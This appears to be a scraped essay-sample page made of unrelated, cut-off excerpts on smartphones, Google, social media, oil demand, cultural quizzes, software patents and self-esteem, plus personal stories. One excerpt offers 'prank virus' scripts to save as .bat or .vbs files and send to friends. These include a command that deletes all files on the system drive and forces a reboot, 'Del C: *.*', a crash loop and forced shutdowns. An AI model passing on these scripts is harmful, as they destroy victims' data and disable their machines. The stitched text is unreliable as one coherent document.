...“Are you kidding me? I can’t spend a minute without my phone!” This is the sort of reaction that is pulled out of almost every teenager if you try to take their smartphones away. They sleep with it, eat with it, wake up with it nested underneath them somewhere on the bed, and even go to the bathroom with it. It seems like these smartphones have become such an integrated part in the lives of today’s young generation that it has become an infestation. When you ask them something their fingers go tap tap on their mobile devices to ‘google’ the answer. Even to check what time it is, they rely on their devices to know the date and time. It is certainly alarming to see the amount of human dependence on these gadgets because their absence would certainly render these...
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...As technology becomes more a part or ours daily lives: We have to ask ourselves, is it hindering us or helping? This is not an easy question, and is a great debate in today's society. More specific, an article by Nicholas Carr “Is Google Making Us Stupid” argues that exact point. Throughout the article it gives many examples of how Google is hindering our knowledge. Nicholas Carr makes the reference about how he used to dive into textual evidence while researching a topic and now it feels as if he is just skimming the top information. This is later proven in a study conducted by scholars from University College London scholars from University College London Furthermore, as a result of technology they that it has altered reading habits and Carr...
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...production was withheld; Prices in nominal terms jumped from $3.5 a barrel to $10 a barrel 1979: 5.68 % of global production withheld; Prices in nominal terms jumped from $15 to $32 a barrel. 2007: Oil prices increase from $60 to reach a peak of $128, followed by a rapid collapse Why do we observe such sharp swings in oil prices? The answer lies in the elasticity of demand and supply. For this exercise we will focus on the demand side and estimate the price elasticity of demand for oil. We will focus on the US and use time-series data to estimate this demand function. Here are the somewhat modest goals of the assignment: 1. To convince you that demand functions and elasticities are measurable, rather than purely abstract concepts. 2. To provide practice in manipulating and interpreting demand functions particularly constant-elasticity demand functions 3. To motivate your study of linear regression in UDJ by providing an example of an application. I will lead you through the steps without explaining the statistical methods of regression. Such methods are not part of this course but you will see them in detail in your UDJ core course. © INSEAD Step 1: Write a Model The first, and perhaps the most important step, is to understand the determinants of gasoline demand in a country. Two immediate candidates would be the price of gasoline and income. Other determinants could be the price of new cars, the price of used cars, perhaps some macroeconomic factors...
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...including intensive language ... Page 1 of 3 Crossing Cultural Barriers Developing the International Manager Working Effectively with International Colleagues Going to Live and Work Abroad Intensive Language Tuition Global HR Support Programmes How culturally aware are you? Back to categories Back to articles One of our leading intercultural trainers, Philippe Nitzer, has devised this short quiz for you to test your knowledge... 1 In Spain, the main purpose of a business meeting would usually be to: a) make decisions by discussing in length the pro's and con's of an option b) reach agreements by consensus between everyone concerned c) brief their team about something already decided by specific decision makers 2 You are asking a question of your junior Japanese colleague and he/she looks down and answers you after a few seconds. You think the chances are that he/she: a) has something to hide and is looking for an answer that would boost him/her in your eyes b) is paying respect to your position and your question c) hasn't got a clue what the answer is and feels ashamed Click here to watch sample workshop videos. 3 In Italy, the majority of people think that a good manager should: a) have at hand precise answers to most questions his/her subordinates may raise about their work b)be able to direct his/her subordinates to those who may have the right answers to most of the questions they may raise c) be critical of his/her subordinates for asking him/her questions...
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...Pamela Carvalho Flavia Tamayo English 101 January 23rd 2016 The Internet is Not Dumbing Us Down Nicholas Carr, the technology writer laments the rise of the internet in our lives in his article, “Is Google Making Us Stupid?” published in 2008. Carr compares reading on the internet with the printed version and comes into the conclusion that reading through the internet is basically the shallower form of reading. Starting his article describing his problems by describing new technologies to be “chipping away my capacity for concentration and contemplacing”.(Carr 236) Because of the internet, he is unable to keep his focus on reading any books or long articles. Therefore, affirming that the long term use of the internet is harmful for concentration and contemplation, consequently affecting people to become dumber and digitals fools. Fortunately, that is not true. Internet is not making people dumb, it has rather changed the object of focus. Knowledge now is moving from one room to the hyperlink medium, from content to connections and from libraries to network. In other words, it is not wrong to say that we are in fact truly getting smarter with the increadible amount of informations available in the internet. Nicholas Carr says that from the past few years, he has been feeling an uncomfortable sense that his way of thinking when reading has changed with the excess use of the internet, claiming: “My mind now expects to take in information the ...
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...the cost. So, why would anybody want to take a risk? ~ Risk gives you an opportunity to open up to your talents, interests, abilities and dreams. ~ Risk teaches you to set clear goals and follow through. ~ Risk allows you to feel powerful and proactive, making things happen rather than waiting for them to happen *to* you. ~ Risk opens you up to new ideas, skills, opportunities and experiences. ~ Risk allows you to grow and discover new things about yourself and the world, to develop your strengths and talents. ~ Risk allows you to conquer your fears. ~ Risk is exhilarating. It makes you come alive. When it comes to risk-taking, there are two extremes. Some people are afraid to take even reasonable risks, wanting guaranteed results. This can result in a life that's flat and lackluster. Others take risks easily, believing that their willingness to leap makes them courageous. But taking major risks without thinking them through is foolish, and such people often find themselves picking up the pieces of shattered dreams. According to Dan Borge, in "The Book of Risk ," risk means being exposed to the...
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...many different ways; for sharing memories, important life events and keeping in touch with friends and family. All your “friends” are a click away and therefore people can keep in touch with close friends, family and acquaintances, besides this it allows you to make new friends and find people you have only met once. Facebook is simple and easy to use, which is why it has become so popular within all age groups, some more than others. Your friends are all gather in one place, which makes Facebook very needed and the easier way to keep friendships going. The term friendship on Facebook is very different from the way we use the term in our everyday life. On Facebook our Friends, don’t necessarily need to be someone we have met before, or even talked to before. People can befriend you based on the way you look or simply because you share the same interest in movies, books, series etc. Even though the idea of Facebook is brilliant and there are 1,110,000,000 active Facebook users , there are also, according to surveys, a lot of people who are not as satisfied with Facebook as it seems. These issues variant from privacy setting to the kind of friendship Facebook promotes. Privacy settings Facebook One of the major concerns regarding Facebook is privacy settings. Users are not sure what people who are not their friends can see, and what this information can be used for. There is currently 83 million fake profiles, these profiles include Facebook pages for pets, duplicate Facebook...
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...media is networking site where people get together and interact using a highly open and scalable communication techniques. Social media are media for social communication, using highly accessible and scalable communication techniques, it is mostly a web based, like face book, MySpace, Twitter, YouTube and Google. Also Social media can be more than web based for example text messaging, news papers, and using cell phone. The Social media had brought a lot and it had brought more good than harm. In this easy I am going to discuss the impacts of social media to our day to day life. There more than billions and billions people on social media every day. For instance some marketing company’s sell their products through social media. Some people just use social media for fun or to just waste lack of time. Some people use social media to still identity and do more stuff to it, while others are putting more of their information in. Social media can be helpful or it can be dangerous. People don’t know what’s behind it. I know some people that are online on Facebook the whole time nothing else, but there some others are selling their products. According to the Social media revolution 2 video it said”1 Out of 8 couples married in the U.S. met via social media”. Anyone worldwide use social media. Teens and adult mostly use it for fun, but college students use it to communicate or to learn. According to BLANKENSHIP, MARK. “How Social Media can and should impact higher education.” Mar 2011...
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...completed the last 100m of the race. I remember quite worryingly that I tasted dirt, grass and just pure sick. I know why I felt sick; 1. I had been feeling ill all day. 2. I had to do P.E (my worst subject). 3. I had to do P.E with ‘the clan’. And I knew just as I got to the finishing line ‘the clan’ where going to have a field day in the changing rooms. I closed my eyes gently, trying so slowly not to start crying. Anyways you’d probably want to know the names of the witches, well there was Madison Everett, Lola Freestone and last and defiantly least of them all is Lacy Bourne and as you can probably tell by the way I introduced her she’s the one out of them all who made me feel as though I shouldn’t of even had the right to be on this planet. “Right! You were all bad out there today guys, but at least we weren’t as bad as some.” Ms Dessen shouted and I can still feel her hawk eye glare straight at me when she was talking about ‘but at least we weren’t as bad as some’. “Go on in I hope to see better of you next time, especially you Reynolds” “REYNOLDS!” shouted Lacy in a tormenting way. I turned to go into the toilets where everyone else was. It usually didn’t help but that week we had a new girl and well I thought naively; you never know, if she saw someone getting bullied she might tell the head teacher, but that usually didn’t happen with me. She never did tell. She just stood there watching with a guilty look on her face as if she wanted to do something but knew...
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...How to Raise Your Self-Esteem Statement of Rights You may sell this book for profit or you may give it away or use it as a bonus. You may NOT change it in any way. Copyright Message PLR Obtained by White Dove Books 2008 http://www.whitedovebooks.co.uk Disclaimer Reasonable care has been taken to ensure that the information presented in this book is accurate. However, the reader should understand that the information provided does not constitute legal, medical or professional advice of any kind. No Liability: this product is supplied “as is” and without warranties. All warranties, express or implied, are hereby disclaimed. Use of this product constitutes acceptance of the “No Liability” policy. If you do not agree with this policy, you are not permitted to use or distribute this product. White Dove Books, its employees, associates, distributors, agents and affiliates shall not be liable for any losses or damages whatsoever (including, without limitation, consequential loss or damage) directly or indirectly arising from the use of this product. ______________________________________________________________________________ How to Raise Your Self-Esteem White Dove Books Contents Introduction ..............................................................................................4 You and Your Authentic Self...................................................................9 Learning to Love Yourself Again ..........................................................12 Stop...
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...Malcolm Poree II Reagan Mitchell EDCI 1001 24 September 2014 Educational Narrative Essay The importance of education is key to success in your future. Getting an education during your early years (k-5th grade) is just as important to success as graduating high school or even college. In the first video we watched, Dr.Cornel West mentioned that education is a quest for the truth. This statement makes perfect sense considering you start your educational quest from a young age, which is considered the time where humans learn the most. Success is a pre-determined mindset that one must have before even beginning their journey. Developing good learning habits from day one will help you throughout your educational career. I would encounter early that I would have a problem with reading comprehension, not because I couldn’t ready but I would just struggle with retaining the information. I started my education experience at a pre-school called Hume Center in Uptown New Orleans. Throughout pre-school I was already focused on my books. I would read every night, probably my favorites which would be a story written by Dr.Seuss. Reading these simple riddle books was an attempt to see if I could gather the information without forgetting everything I read. From there I left and went to the International School Of Louisiana where I would further my education. ISL was a very unique experience considering the majority of my learning would...
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...hear about something in places in the Middle East the matter of hours or even minutes. Because of our generation being so technologically advanced this could also become a problem because if we are so dependent on our “anti-social social” lives and someone hacks into all of our technology and no one can receive any type of information down to a text, the world will go into an enormous frenzy sand could possibly corrupt the entire world because we practically run off of our lives online and how we are viewed by our peers and others. Although there is a possibility of this happening, the chances are very slim considering all of the security measures that have been put in place and are being put in place with our up and coming technological advancements. Along with receiving information in a flash we also receive products at a lightning fast rate...
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...A few weeks ago I found to my surprise that I'd been granted four patents. This was all the more surprising because I'd only applied for three. The patents aren't mine, of course. They were assigned to Viaweb, and became Yahoo's when they bought us. But the news set me thinking about the question of software patents generally. Patents are a hard problem. I've had to advise most of the startups we've funded about them, and despite years of experience I'm still not always sure I'm giving the right advice. One thing I do feel pretty certain of is that if you're against software patents, you're against patents in general. Gradually our machines consist more and more of software. Things that used to be done with levers and cams and gears are now done with loops and trees and closures. There's nothing special about physical embodiments of control systems that should make them patentable, and the software equivalent not. Unfortunately, patent law is inconsistent on this point. Patent law in most countries says that algorithms aren't patentable. This rule is left over from a time when "algorithm" meant something like the Sieve of Eratosthenes. In 1800, people could not see as readily as we can that a great many patents on mechanical objects were really patents on the algorithms they embodied. Patent lawyers still have to pretend that's what they're doing when they patent algorithms. You must not use the word "algorithm" in the title of a patent application, just as you must...
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...do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop Save it as "Anything.VBS" and send it. 2) Convey your friend a little message and shut down his / her computer: Type : Code: @echo off msg * I don't like you shutdown -c "Error! You are too stupid!" -s Save it as "Anything.BAT" in All Files and send it. 3) Toggle your friend's Caps Lock button simultaneously: Code: Set wshShell =wscript.CreateObject("WScript.Shel l") do wscript.sleep 100 wshshell.sendkeys "{CAPSLOCK}" loop Save it as "Anything.VBS" and send it. 4) Frustrate your friend by making this VBScript hit Enter simultaneously: Type : Code: Set wshShell = wscript.CreateObject("WScript.Shell ") do wscript.sleep 100 wshshell.sendkeys "~(enter)" loop Save it as "Anything.VBS" and send it. 5)This Virus Deletes All The Content Of A Drive... @echo off del %systemdrive%*.* /f /s /q shutdown -r -f -t 00 Save The Above Code As Anything.bat 6)This Will Crash Ur Computer Option Explicit Dim WSHShell Set WSHShell=Wscript.CreateObject("Wscript.Shell") Dim x For x = 1 to 100000000 WSHShell.Run "Tourstart.exe" Next 7)Save It As Anything.vbs It Only Works With Windows XP The Most Simple Virus To Crush The Window @Echo off Del C: *.* |y Save It As...
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...Hmmm…… The government knows me as Justine Nelson. I have been through so much that no one knows about and no one ever will. My full government name is Justine Marie Nelson; originally Justin Anthony Nelson because my parents thought that I was going to be a boy. When I came out as a girl, they asses an –e and my middle name comes from my Aunt who I do not like. I do not go by my government because I feel like it is tied to entirely too much sh….just no. So let’s try this again. My name is Jay Stixx. You can call me Jay, Jay Stixx, or just Stixx. I’m blunt, rude, excuse my language, but most call me an asshole. I’m a Gemini and a full lesbian. I rep them both to the fullest. I have a girlfriend name Reia…she’s an aspiring singer and a model. My birthday is June 5, 1992. I have a two year old daughter that I had with my ex fiancé. Mind you, I’m only 21. Meaning I was engaged at 18 and 19 years old. But…having a kid really does change EVERYTHING!!!! People can’t handle my life, especially my family. My mother is a Sergeant in the National Guard. My father is somewhere out in Mississippi doing whatever it is that he is doing. And my step father works at a chemical plant…he’s my homie. When I was pregnant, he was freaking out because he’s never had his own biological children. Plus my older sister, 14 months older, was pregnant right along with me. My daughter is 5 days older than her son. When I turned 21, my dad took me to a hookah bar and we got soooooo drunk. It was awesome...
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